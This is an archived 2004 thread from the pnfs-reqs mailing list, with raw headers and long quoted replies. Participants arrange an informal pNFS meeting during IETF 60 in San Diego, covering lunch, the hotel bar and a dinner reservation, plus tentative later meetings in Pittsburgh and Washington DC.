Diego: > > >> - IETF NFSv4 meeting is in the morning > > >> - in the afternoon, and evening if appropriate, interested and > > >> available pNFS participants gather in the hotel lobby bar. the goal > > >> is > > >> to get 4-6 hours of meeting time to justify those of us traveling to > > >> San Diego that will not otherwise attend the IETF meeting. we might > > >> try > > >> to arrange a room in a local chinese restaurant, for example, but we > > >> do > > >> not expect any meeting rooms will be available at the IETF hotel and > > >> we > > >> do not want to create an officially conflicting meeting. > > >> - IETF schedule is not final and may change as late as 2 weeks before > > >> the meeting, so people's Tues afternoon may change. this is in part > > >> why we are suggesting that the meeting may go into the evening. > > >> staying the night is not a bad thing for most of us as the RDDP > > >> meeting > > >> is likely to be first thing on Wed morning anyway. > > >> > > >> Would folks please speak up on this list if they are going to attend > > >> this meeting. > > >> > > >> Thurs Sept 30, Pennsylvania: > > >> - an informal face-to-face in the Pittsburgh area, at either CMU or > > >> Nemacolin (for those who collaborate with or support CMU's PDL, this > > >> is > > >> the day after the PDL retreat) > > >> - this might be the last informal pNFS meeting done outside the NFSv4 > > >> TWG schedule as we hope to soon convince the NFSv4 group to take us in > > >> > > >> week of Nov 8, IETF 61, Washington DC > > >> - similar to the Aug 3 meeting, a meeting in the bar or in a > > >> restaurant > > >> during the IETF meeting week > > >> > > >> garth > > >> > > >> > > >> On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: > > >> > > >>> Folks, > > >>> > > >>> We've gotten behind on meeting plans. > > >>> > > >>> The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San > > >>> Diego. > > >>> See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt > > >>> > > >>> Hopefully pNFS will get some time on that agenda, but it will be a > > >>> small amount at most. What I'd like to propose is that we meet f-2-f > > >>> on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. > > >>> I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel > > >>> and Marina), so I'm also looking for proposals for where to hold the > > >>> meeting. > > >>> > > >>> Since timing is tight on this, please reply soon. > > >>> > > >>> And while you are thinking about your schedule, lets talk about the > > >>> meeting after. The next IETF is Nov 7-12 in Washington DC (which > > >>> overlaps SC04 in Pittsburgh). Again we should target a piece of the > > >>> not-very-long NFSv4 meeting and decide if we want to also have a > > >>> f-2-f. > > >>> > > >>> I'm happy to propose a day long interim meeting at CMU in Pittsburgh > > >>> in > > >>> September, before the cut off dates to submit for the IETF meeting in > > >>> Nov. > > >>> > > >>> Opinions? Date suggestions? Alternatives? > > >>> > > >>> garth > > >>> > > >>> > > >>> > > >>> > > >>> > > >>> Yahoo! Groups Links > > >>> > > >>> > > >>> > > >>> > > >> > > >> > > >> > > >> > > >> > > >> Yahoo! Groups Links > > >> > > >> > > >> > > >> > > > > > > > > > > > > > > > > > > Yahoo! Groups Links > > > > > > > > > > > > > > > > > > > > > > > > Yahoo! Groups Links > > > > > > > > > > > >From garth@panasas.com Sun Aug 01 17:17:28 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 70380 invoked from network); 2 Aug 2004 00:17:28 -0000 Received: from unknown (66.218.66.218) by m17.grp.scd.yahoo.com with QMQP; 2 Aug 2004 00:17:28 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 2 Aug 2004 00:17:28 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56VKB2; Sun, 1 Aug 2004 20:17:25 -0400 In-Reply-To: <1091405216.4730.4.camel@lade.trondhjem.org> References: <200408020002.i7202oT16617@tooting.eng.netapp.com> <1091405216.4730.4.camel@lade.trondhjem.org> Mime-Version: 1.0 (Apple Message framework v618) Content-Type: text/plain; charset=ISO-8859-1; format=flowed Message-Id: <50183701-E419-11D8-89F0-000A95A94F04@panasas.com> Content-Transfer-Encoding: quoted-printable Cc: Brian Pawlowski , Trond Myklebust Date: Sun, 1 Aug 2004 17:17:17 -0700 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.618) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Aug 3 pNFS f-2-f reminder X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT Great! Rapid response and 2 new attendees swings it for me. I've booked a table for 15 at 6pm at The Boathouse, 2040 Harbor Island Dr, 291-8010, in my name. garth gibson On Aug 1, 2004, at 5:06 PM, Trond Myklebust wrote: > P� su , 01/08/2004 klokka 17:02, skreiv Brian Pawlowski: >> I believe a 20 minute walk is fine with us! >> >> Right Trond? > > Afternoon in bar + walk + food is a winning combination as far as I'm > concerned... > > Trond > >>> I'm thinking I should book a dinner for us too. One recommendation >>> was >>> ""The Boathouse"", a one mile walk along the harbor from the East >>> Tower, >>> 'seafood and steak, $$$"". I like the idea of a 20 min walk after an >>> afternoon in the bar. And the hotel shuttle will drive anyone who >>> wants to skip the walk. >>> >>> Speak up if you'd like to encourage me to keep it in the one building >>> (dinner back at the same place as lunch) or in the next tower (5 >>> minute >>> walk, ""mediterranean bistro, $$""). >>> >>> garth >>> >>> On Aug 1, 2004, at 3:40 PM, Garth Gibson wrote: >>>> Folks, >>>> >>>> I've heard from about 11 people that intend to gather during the >>>> afternoon of Tues Aug 3 to discuss pNFS extensions to NFSv4. The >>>> nominal plan is to ""gather in the hotel lobby bar in the afternoon"". >>>> Maybe some details are needed? :-) >>>> >>>> The NFSv4 IETF meeting is Tues Aug 3 9-11:30 am in the Marina II >>>> meeting room of East Tower (first building on the only road into the >>>> ""Island"") of the Sheraton Harbor Island >>>> (www.ietf.org/meetings/hotels_60.html, ""across the street"" from the >>>> airport). Some of us will be in that meeting, but not all, and IETF >>>> registration onsite is over $600, so some pNFS attendees will >>>> probably >>>> not be registered. >>>> >>>> The hotel lobby bar is Quinn's -- it is behind reception on the >>>> right >>>> as you pass reception. It is not a big place, so depending on how >>>> many >>>> IETF attendees prefer a bar to a meeting room, we might have a >>>> problem. >>>> >>>> I thought we should at least have a good starting point, so I made a >>>> reservation for 10 people (oops, I'll have to fix that) at 1pm in >>>> the >>>> Harbor's Edge restaurant -- in the lobby of the East Tower behind >>>> reception on the left and a little around the corner. Perhaps we >>>> should start at noon, but I thought I'd leave a little time for the >>>> NFSv4 attendees to ""debrief"" after the NFSv4 meeting before starting >>>> this one. >>>> >>>> Hopefully enough of us can hold off eating lunch until 1pm so that >>>> the >>>> restaurant treats us nicely. Once we think we have exhausted our >>>> welcome there, we can drift over to Quinn's and drink ourselves into >>>> technical agreement on pNFS. >>>> >>>> Attendees I expect at this time: Tom Talpay, Peter Corbett, Dave >>>> Noveck, David Black, Julian Satran, Lee Ward, Tyce McLarty, Bill >>>> Loewe, >>>> Charles Fan, Brent Welch, Garth Gibson. >>>> >>>> Please let us know if you're coming and are not on this list. >>>> >>>> Thanks! >>>> garth >>>> >>>> Begin forwarded message: >>>> >>>>> From: Garth Gibson >>>>> Date: July 8, 2004 9:13:40 AM PDT >>>>> To: pnfs-reqs@yahoogroups.com >>>>> Subject: [pnfs-reqs] Re: planning future meetings >>>>> Reply-To: pnfs-reqs@yahoogroups.com >>>>> >>>>> Here is what I think is on the table for comments/interest from >>>>> this >>>>> community: >>>>> >>>>> Tues Aug 3, IETF 60, San Diego: >>>>> - IETF NFSv4 meeting is in the morning >>>>> - in the afternoon, and evening if appropriate, interested and >>>>> available pNFS participants gather in the hotel lobby bar. the >>>>> goal >>>>> is >>>>> to get 4-6 hours of meeting time to justify those of us traveling >>>>> to >>>>> San Diego that will not otherwise attend the IETF meeting. we might >>>>> try >>>>> to arrange a room in a local chinese restaurant, for example, but >>>>> we >>>>> do >>>>> not expect any meeting rooms will be available at the IETF hotel >>>>> and >>>>> we >>>>> do not want to create an officially conflicting meeting. >>>>> - IETF schedule is not final and may change as late as 2 weeks >>>>> before >>>>> the meeting, so people's Tues afternoon may change. this is in >>>>> part >>>>> why we are suggesting that the meeting may go into the evening. >>>>> staying the night is not a bad thing for most of us as the RDDP >>>>> meeting >>>>> is likely to be first thing on Wed morning anyway. >>>>> >>>>> Would folks please speak up on this list if they are going to >>>>> attend >>>>> this meeting. >>>>> >>>>> Thurs Sept 30, Pennsylvania: >>>>> - an informal face-to-face in the Pittsburgh area, at either CMU or >>>>> Nemacolin (for those who collaborate with or support CMU's PDL, >>>>> this >>>>> is >>>>> the day after the PDL retreat) >>>>> - this might be the last informal pNFS meeting done outside the >>>>> NFSv4 >>>>> TWG schedule as we hope to soon convince the NFSv4 group to take >>>>> us in >>>>> >>>>> week of Nov 8, IETF 61, Washington DC >>>>> - similar to the Aug 3 meeting, a meeting in the bar or in a >>>>> restaurant >>>>> during the IETF meeting week >>>>> >>>>> garth >>>>> >>>>> >>>>> On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: >>>>> >>>>>> Folks, >>>>>> >>>>>> We've gotten behind on meeting plans. >>>>>> >>>>>> The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San >>>>>> Diego. >>>>>> See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt >>>>>> >>>>>> Hopefully pNFS will get some time on that agenda, but it will be a >>>>>> small amount at most. What I'd like to propose is that we meet >>>>>> f-2-f >>>>>> on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San >>>>>> Diego. >>>>>> I doubt we'll get a room in the IETF hotel (Sheraton San Diego >>>>>> Hotel >>>>>> and Marina), so I'm also looking for proposals for where to hold >>>>>> the >>>>>> meeting. >>>>>> >>>>>> Since timing is tight on this, please reply soon. >>>>>> >>>>>> And while you are thinking about your schedule, lets talk about >>>>>> the >>>>>> meeting after. The next IETF is Nov 7-12 in Washington DC (which >>>>>> overlaps SC04 in Pittsburgh). Again we should target a piece of >>>>>> the >>>>>> not-very-long NFSv4 meeting and decide if we want to also have a >>>>>> f-2-f. >>>>>> >>>>>> I'm happy to propose a day long interim meeting at CMU in >>>>>> Pittsburgh >>>>>> in >>>>>> September, before the cut off dates to submit for the IETF >>>>>> meeting in >>>>>> Nov. >>>>>> >>>>>> Opinions? Date suggestions? Alternatives? >>>>>> >>>>>> garth >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> Yahoo! Groups Links >>>>>> >>>>>> >>>>>> >>>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> Yahoo! Groups Links >>>>> >>>>> >>>>> >>>>> >>>> >>>> >>>> >>>> >>>> >>>> Yahoo! Groups Links >>>> >>>> >>>> >>>> >>> >>> >>> >>> >>> >>> Yahoo! Groups Links >>> >>> >>> >>> >>> >> > > > > > Yahoo! Groups Links > > > > >From black_david@emc.com Sun Aug 01 18:35:57 2004 Return-Path: X-Sender: Black_David@emc.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 26370 invoked from network); 2 Aug 2004 01:35:56 -0000 Received: from unknown (66.218.66.216) by m22.grp.scd.yahoo.com with QMQP; 2 Aug 2004 01:35:56 -0000 Received: from unknown (HELO mailhub.lss.emc.com) (168.159.2.31) by mta1.grp.scd.yahoo.com with SMTP; 2 Aug 2004 01:35:56 -0000 Received: from MAHO3MSX2.corp.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by mailhub.lss.emc.com (Switch-3.1.6/Switch-3.1.6) with ESMTP id i721ZkDg020606 for ; Sun, 1 Aug 2004 21:35:47 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Sun, 1 Aug 2004 21:35:48 -0400 Message-ID: To: pnfs-reqs@yahoogroups.com Date: Sun, 1 Aug 2004 21:35:48 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-PMX-Version: 4.6.0.97784, Antispam-Core: 4.6.0.97340, Antispam-Data: 2004.8.1.109244 X-PerlMx-Spam: SPAM=17%, Report='CASHCASHCASH 1.599, ONLY_COST 0.297, __IMS_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, NO_REAL_NAME 0.000, __TO_MALFORMED_2 0, SUBJECT_MONTH 0, SUBJECT_MONTH_2 0, __MIME_VERSION 0, __ANY_IMS_MUA 0, EXCHANGE_SERVER 0, __HAS_X_MAILER 0, __IMS_MUA 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, EMC_FROM_0 -0, TO_BE_REMOVED_REPLY 0.000, __THREE_DOLLARS 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __TLG_EMC_ENVFROM_0 0' X-eGroups-Remote-IP: 168.159.2.31 From: black_david@emc.com Subject: RE: [pnfs-reqs] Aug 3 pNFS f-2-f reminder X-Yahoo-Group-Post: member; u=82420288 X-Yahoo-Profile: dlb237 ADVERTISEMENT Needs to be ~1 hour later, please. There are a couple of 5-6pm IETF sessions on Tue that I may need/want to attend. Thanks, --David > -----Original Message----- > From: Garth Gibson [mailto:garth@panasas.com] > Sent: Sunday, August 01, 2004 8:17 PM > To: pnfs-reqs@yahoogroups.com > Cc: Brian Pawlowski; Trond Myklebust > Subject: Re: [pnfs-reqs] Aug 3 pNFS f-2-f reminder > > > Great! Rapid response and 2 new attendees swings it for me. I've > booked a table for 15 at 6pm at The Boathouse, 2040 Harbor Island Dr, > 291-8010, in my name. > > garth gibson > > On Aug 1, 2004, at 5:06 PM, Trond Myklebust wrote: > > > P� su , 01/08/2004 klokka 17:02, skreiv Brian Pawlowski: > >> I believe a 20 minute walk is fine with us! > >> > >> Right Trond? > > > > Afternoon in bar + walk + food is a winning combination as > far as I'm > > concerned... > > > > Trond > > > >>> I'm thinking I should book a dinner for us too. One > recommendation > >>> was > >>> ""The Boathouse"", a one mile walk along the harbor from the East > >>> Tower, > >>> 'seafood and steak, $$$"". I like the idea of a 20 min > walk after an > >>> afternoon in the bar. And the hotel shuttle will drive anyone who > >>> wants to skip the walk. > >>> > >>> Speak up if you'd like to encourage me to keep it in the > one building > >>> (dinner back at the same place as lunch) or in the next tower (5 > >>> minute > >>> walk, ""mediterranean bistro, $$""). > >>> > >>> garth > >>> > >>> On Aug 1, 2004, at 3:40 PM, Garth Gibson wrote: > >>>> Folks, > >>>> > >>>> I've heard from about 11 people that intend to gather during the > >>>> afternoon of Tues Aug 3 to discuss pNFS extensions to NFSv4. The > >>>> nominal plan is to ""gather in the hotel lobby bar in the > afternoon"". > >>>> Maybe some details are needed? :-) > >>>> > >>>> The NFSv4 IETF meeting is Tues Aug 3 9-11:30 am in the Marina II > >>>> meeting room of East Tower (first building on the only > road into the > >>>> ""Island"") of the Sheraton Harbor Island > >>>> (www.ietf.org/meetings/hotels_60.html, ""across the > street"" from the > >>>> airport). Some of us will be in that meeting, but not > all, and IETF > >>>> registration onsite is over $600, so some pNFS attendees will > >>>> probably > >>>> not be registered. > >>>> > >>>> The hotel lobby bar is Quinn's -- it is behind reception on the > >>>> right > >>>> as you pass reception. It is not a big place, so > depending on how > >>>> many > >>>> IETF attendees prefer a bar to a meeting room, we might have a > >>>> problem. > >>>> > >>>> I thought we should at least have a good starting point, > so I made a > >>>> reservation for 10 people (oops, I'll have to fix that) > at 1pm in > >>>> the > >>>> Harbor's Edge restaurant -- in the lobby of the East Tower behind > >>>> reception on the left and a little around the corner. Perhaps we > >>>> should start at noon, but I thought I'd leave a little > time for the > >>>> NFSv4 attendees to ""debrief"" after the NFSv4 meeting > before starting > >>>> this one. > >>>> > >>>> Hopefully enough of us can hold off eating lunch until > 1pm so that > >>>> the > >>>> restaurant treats us nicely. Once we think we have exhausted our > >>>> welcome there, we can drift over to Quinn's and drink > ourselves into > >>>> technical agreement on pNFS. > >>>> > >>>> Attendees I expect at this time: Tom Talpay, Peter Corbett, Dave > >>>> Noveck, David Black, Julian Satran, Lee Ward, Tyce McLarty, Bill > >>>> Loewe, > >>>> Charles Fan, Brent Welch, Garth Gibson. > >>>> > >>>> Please let us know if you're coming and are not on this list. > >>>> > >>>> Thanks! > >>>> garth > >>>> > >>>> Begin forwarded message: > >>>> > >>>>> From: Garth Gibson > >>>>> Date: July 8, 2004 9:13:40 AM PDT > >>>>> To: pnfs-reqs@yahoogroups.com > >>>>> Subject: [pnfs-reqs] Re: planning future meetings > >>>>> Reply-To: pnfs-reqs@yahoogroups.com > >>>>> > >>>>> Here is what I think is on the table for comments/interest from > >>>>> this > >>>>> community: > >>>>> > >>>>> Tues Aug 3, IETF 60, San Diego: > >>>>> - IETF NFSv4 meeting is in the morning > >>>>> - in the afternoon, and evening if appropriate, interested and > >>>>> available pNFS participants gather in the hotel lobby bar. the > >>>>> goal > >>>>> is > >>>>> to get 4-6 hours of meeting time to justify those of us > traveling > >>>>> to > >>>>> San Diego that will not otherwise attend the IETF > meeting. we might > >>>>> try > >>>>> to arrange a room in a local chinese restaurant, for > example, but > >>>>> we > >>>>> do > >>>>> not expect any meeting rooms will be available at the > IETF hotel > >>>>> and > >>>>> we > >>>>> do not want to create an officially conflicting meeting. > >>>>> - IETF schedule is not final and may change as late as 2 weeks > >>>>> before > >>>>> the meeting, so people's Tues afternoon may change. this is in > >>>>> part > >>>>> why we are suggesting that the meeting may go into the evening. > >>>>> staying the night is not a bad thing for most of us as the RDDP > >>>>> meeting > >>>>> is likely to be first thing on Wed morning anyway. > >>>>> > >>>>> Would folks please speak up on this list if they are going to > >>>>> attend > >>>>> this meeting. > >>>>> > >>>>> Thurs Sept 30, Pennsylvania: > >>>>> - an informal face-to-face in the Pittsburgh area, at > either CMU or > >>>>> Nemacolin (for those who collaborate with or support CMU's PDL, > >>>>> this > >>>>> is > >>>>> the day after the PDL retreat) > >>>>> - this might be the last informal pNFS meeting done outside the > >>>>> NFSv4 > >>>>> TWG schedule as we hope to soon convince the NFSv4 > group to take > >>>>> us in > >>>>> > >>>>> week of Nov 8, IETF 61, Washington DC > >>>>> - similar to the Aug 3 meeting, a meeting in the bar or in a > >>>>> restaurant > >>>>> during the IETF meeting week > >>>>> > >>>>> garth > >>>>> > >>>>> > >>>>> On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: > >>>>> > >>>>>> Folks, > >>>>>> > >>>>>> We've gotten behind on meeting plans. > >>>>>> > >>>>>> The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San > >>>>>> Diego. > >>>>>> See the IETF agenda at > http://www.ietf.org/meetings/agenda_60.txt > >>>>>> > >>>>>> Hopefully pNFS will get some time on that agenda, but > it will be a > >>>>>> small amount at most. What I'd like to propose is > that we meet > >>>>>> f-2-f > >>>>>> on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San > >>>>>> Diego. > >>>>>> I doubt we'll get a room in the IETF hotel (Sheraton San Diego > >>>>>> Hotel > >>>>>> and Marina), so I'm also looking for proposals for > where to hold > >>>>>> the > >>>>>> meeting. > >>>>>> > >>>>>> Since timing is tight on this, please reply soon. > >>>>>> > >>>>>> And while you are thinking about your schedule, lets > talk about > >>>>>> the > >>>>>> meeting after. The next IETF is Nov 7-12 in > Washington DC (which > >>>>>> overlaps SC04 in Pittsburgh). Again we should target > a piece of > >>>>>> the > >>>>>> not-very-long NFSv4 meeting and decide if we want to > also have a > >>>>>> f-2-f. > >>>>>> > >>>>>> I'm happy to propose a day long interim meeting at CMU in > >>>>>> Pittsburgh > >>>>>> in > >>>>>> September, before the cut off dates to submit for the IETF > >>>>>> meeting in > >>>>>> Nov. > >>>>>> > >>>>>> Opinions? Date suggestions? Alternatives? > >>>>>> > >>>>>> garth > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>> Yahoo! Groups Links > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>> > >>>>> > >>>>> > >>>>> > >>>>> > >>>>> Yahoo! Groups Links > >>>>> > >>>>> > >>>>> > >>>>> > >>>> > >>>> > >>>> > >>>> > >>>> > >>>> Yahoo! Groups Links > >>>> > >>>> > >>>> > >>>> > >>> > >>> > >>> > >>> > >>> > >>> Yahoo! Groups Links > >>> > >>> > >>> > >>> > >>> > >> > > > > > > > > > > Yahoo! Groups Links > > > > > > > > > > > > ------------------------ Yahoo! Groups Sponsor > --------------------~--> > Yahoo! Domains - Claim yours for only $14.70 > http://us.click.yahoo.com/Z1wmxD/DREIAA/yQLSAA/W6uqlB/TM > -------------------------------------------------------------- > ------~-> > > > Yahoo! Groups Links > > > > > >From Brian.Pawlowski@netapp.com Sun Aug 01 18:52:33 2004 Return-Path: X-Sender: beepy@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 62751 invoked from network); 2 Aug 2004 01:52:33 -0000 Received: from unknown (66.218.66.216) by m4.grp.scd.yahoo.com with QMQP; 2 Aug 2004 01:52:33 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta1.grp.scd.yahoo.com with SMTP; 2 Aug 2004 01:52:33 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i721niFC008496; Sun, 1 Aug 2004 18:49:44 -0700 (PDT) Received: from tooting.eng.netapp.com (tooting-fe.eng.netapp.com [10.56.10.118]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i721nhkE011897; Sun, 1 Aug 2004 18:49:43 -0700 (PDT) Received: (from beepy@localhost) by tooting.eng.netapp.com (8.11.7p1+Sun/8.11.6) id i721nhq28990; Sun, 1 Aug 2004 18:49:43 -0700 (PDT) Message-Id: <200408020149.i721nhq28990@tooting.eng.netapp.com> In-Reply-To: <1091405216.4730.4.camel@lade.trondhjem.org> from Trond Myklebust at ""Aug 1, 4 05:06:56 pm"" To: trond.myklebust@fys.uio.no (Trond Myklebust) Date: Sun, 1 Aug 2004 18:49:43 -0700 (PDT) Cc: beepy@netapp.com, pnfs-reqs@yahoogroups.com X-Mailer: ELM [version 2.4ME++ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: Brian Pawlowski From: Brian Pawlowski Subject: Re: SPAM: Re: [pnfs-reqs] Aug 3 pNFS f-2-f reminder X-Yahoo-Group-Post: member; u=169504717 X-Yahoo-Profile: brianpawlowski Ah - again the reply to is the whole alias. Our secret is out... > P� su , 01/08/2004 klokka 17:02, skreiv Brian Pawlowski: > > I believe a 20 minute walk is fine with us! > > > > Right Trond? > > Afternoon in bar + walk + food is a winning combination as far as I'm > concerned... > > Trond > > > > I'm thinking I should book a dinner for us too. One recommendation was > > > ""The Boathouse"", a one mile walk along the harbor from the East Tower, > > > 'seafood and steak, $$$"". I like the idea of a 20 min walk after an > > > afternoon in the bar. And the hotel shuttle will drive anyone who > > > wants to skip the walk. > > > > > > Speak up if you'd like to encourage me to keep it in the one building > > > (dinner back at the same place as lunch) or in the next tower (5 minute > > > walk, ""mediterranean bistro, $$""). > > > > > > garth > > > > > > On Aug 1, 2004, at 3:40 PM, Garth Gibson wrote: > > > > Folks, > > > > > > > > I've heard from about 11 people that intend to gather during the > > > > afternoon of Tues Aug 3 to discuss pNFS extensions to NFSv4. The > > > > nominal plan is to ""gather in the hotel lobby bar in the afternoon"". > > > > Maybe some details are needed? :-) > > > > > > > > The NFSv4 IETF meeting is Tues Aug 3 9-11:30 am in the Marina II > > > > meeting room of East Tower (first building on the only road into the > > > > ""Island"") of the Sheraton Harbor Island > > > > (www.ietf.org/meetings/hotels_60.html, ""across the street"" from the > > > > airport). Some of us will be in that meeting, but not all, and IETF > > > > registration onsite is over $600, so some pNFS attendees will probably > > > > not be registered. > > > > > > > > The hotel lobby bar is Quinn's -- it is behind reception on the right > > > > as you pass reception. It is not a big place, so depending on how many > > > > IETF attendees prefer a bar to a meeting room, we might have a problem. > > > > > > > > I thought we should at least have a good starting point, so I made a > > > > reservation for 10 people (oops, I'll have to fix that) at 1pm in the > > > > Harbor's Edge restaurant -- in the lobby of the East Tower behind > > > > reception on the left and a little around the corner. Perhaps we > > > > should start at noon, but I thought I'd leave a little time for the > > > > NFSv4 attendees to ""debrief"" after the NFSv4 meeting before starting > > > > this one. > > > > > > > > Hopefully enough of us can hold off eating lunch until 1pm so that the > > > > restaurant treats us nicely. Once we think we have exhausted our > > > > welcome there, we can drift over to Quinn's and drink ourselves into > > > > technical agreement on pNFS. > > > > > > > > Attendees I expect at this time: Tom Talpay, Peter Corbett, Dave > > > > Noveck, David Black, Julian Satran, Lee Ward, Tyce McLarty, Bill Loewe, > > > > Charles Fan, Brent Welch, Garth Gibson. > > > > > > > > Please let us know if you're coming and are not on this list. > > > > > > > > Thanks! > > > > garth > > > > > > > > Begin forwarded message: > > > > > > > >> From: Garth Gibson > > > >> Date: July 8, 2004 9:13:40 AM PDT > > > >> To: pnfs-reqs@yahoogroups.com > > > >> Subject: [pnfs-reqs] Re: planning future meetings > > > >> Reply-To: pnfs-reqs@yahoogroups.com > > > >> > > > >> Here is what I think is on the table for comments/interest from this > > > >> community: > > > >> > > > >> Tues Aug 3, IETF 60, San Diego: > > > >> - IETF NFSv4 meeting is in the morning > > > >> - in the afternoon, and evening if appropriate, interested and > > > >> available pNFS participants gather in the hotel lobby bar. the goal > > > >> is > > > >> to get 4-6 hours of meeting time to justify those of us traveling to > > > >> San Diego that will not otherwise attend the IETF meeting. we might > > > >> try > > > >> to arrange a room in a local chinese restaurant, for example, but we > > > >> do > > > >> not expect any meeting rooms will be available at the IETF hotel and > > > >> we > > > >> do not want to create an officially conflicting meeting. > > > >> - IETF schedule is not final and may change as late as 2 weeks before > > > >> the meeting, so people's Tues afternoon may change. this is in part > > > >> why we are suggesting that the meeting may go into the evening. > > > >> staying the night is not a bad thing for most of us as the RDDP > > > >> meeting > > > >> is likely to be first thing on Wed morning anyway. > > > >> > > > >> Would folks please speak up on this list if they are going to attend > > > >> this meeting. > > > >> > > > >> Thurs Sept 30, Pennsylvania: > > > >> - an informal face-to-face in the Pittsburgh area, at either CMU or > > > >> Nemacolin (for those who collaborate with or support CMU's PDL, this > > > >> is > > > >> the day after the PDL retreat) > > > >> - this might be the last informal pNFS meeting done outside the NFSv4 > > > >> TWG schedule as we hope to soon convince the NFSv4 group to take us in > > > >> > > > >> week of Nov 8, IETF 61, Washington DC > > > >> - similar to the Aug 3 meeting, a meeting in the bar or in a > > > >> restaurant > > > >> during the IETF meeting week > > > >> > > > >> garth > > > >> > > > >> > > > >> On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: > > > >> > > > >>> Folks, > > > >>> > > > >>> We've gotten behind on meeting plans. > > > >>> > > > >>> The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San > > > >>> Diego. > > > >>> See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt > > > >>> > > > >>> Hopefully pNFS will get some time on that agenda, but it will be a > > > >>> small amount at most. What I'd like to propose is that we meet f-2-f > > > >>> on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. > > > >>> I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel > > > >>> and Marina), so I'm also looking for proposals for where to hold the > > > >>> meeting. > > > >>> > > > >>> Since timing is tight on this, please reply soon. > > > >>> > > > >>> And while you are thinking about your schedule, lets talk about the > > > >>> meeting after. The next IETF is Nov 7-12 in Washington DC (which > > > >>> overlaps SC04 in Pittsburgh). Again we should target a piece of the > > > >>> not-very-long NFSv4 meeting and decide if we want to also have a > > > >>> f-2-f. > > > >>> > > > >>> I'm happy to propose a day long interim meeting at CMU in Pittsburgh > > > >>> in > > > >>> September, before the cut off dates to submit for the IETF meeting in > > > >>> Nov. > > > >>> > > > >>> Opinions? Date suggestions? Alternatives? > > > >>> > > > >>> garth > > > >>> > > > >>> > > > >>> > > > >>> > > > >>> > > > >>> Yahoo! Groups Links > > > >>> > > > >>> > > > >>> > > > >>> > > > >> > > > >> > > > >> > > > >> > > > >> > > > >> Yahoo! Groups Links > > > >> > > > >> > > > >> > > > >> > > > > > > > > > > > > > > > > > > > > > > > > Yahoo! Groups Links > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > Yahoo! Groups Links > > > > > > > > > > > > > > > > > > >From garth@panasas.com Sun Aug 01 19:06:34 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 9370 invoked from network); 2 Aug 2004 02:06:33 -0000 Received: from unknown (66.218.66.217) by m20.grp.scd.yahoo.com with QMQP; 2 Aug 2004 02:06:33 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta2.grp.scd.yahoo.com with SMTP; 2 Aug 2004 02:06:27 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B56VKD1; Sun, 1 Aug 2004 22:06:20 -0400 In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v618) Content-Type: text/plain; charset=ISO-8859-1; format=flowed Message-Id: <88CFC258-E428-11D8-89F0-000A95A94F04@panasas.com> Content-Transfer-Encoding: quoted-printable Cc: Garth Gibson Date: Sun, 1 Aug 2004 19:06:15 -0700 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.618) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Aug 3 pNFS f-2-f reminder X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Sounds like a good reason for adjusting our plans. I rescheduled to 7pm. So the schedule currently looks like: 1pm - (3pm?) : Harbor's Edge Restaurant (working lunch) then - 6:15ish : 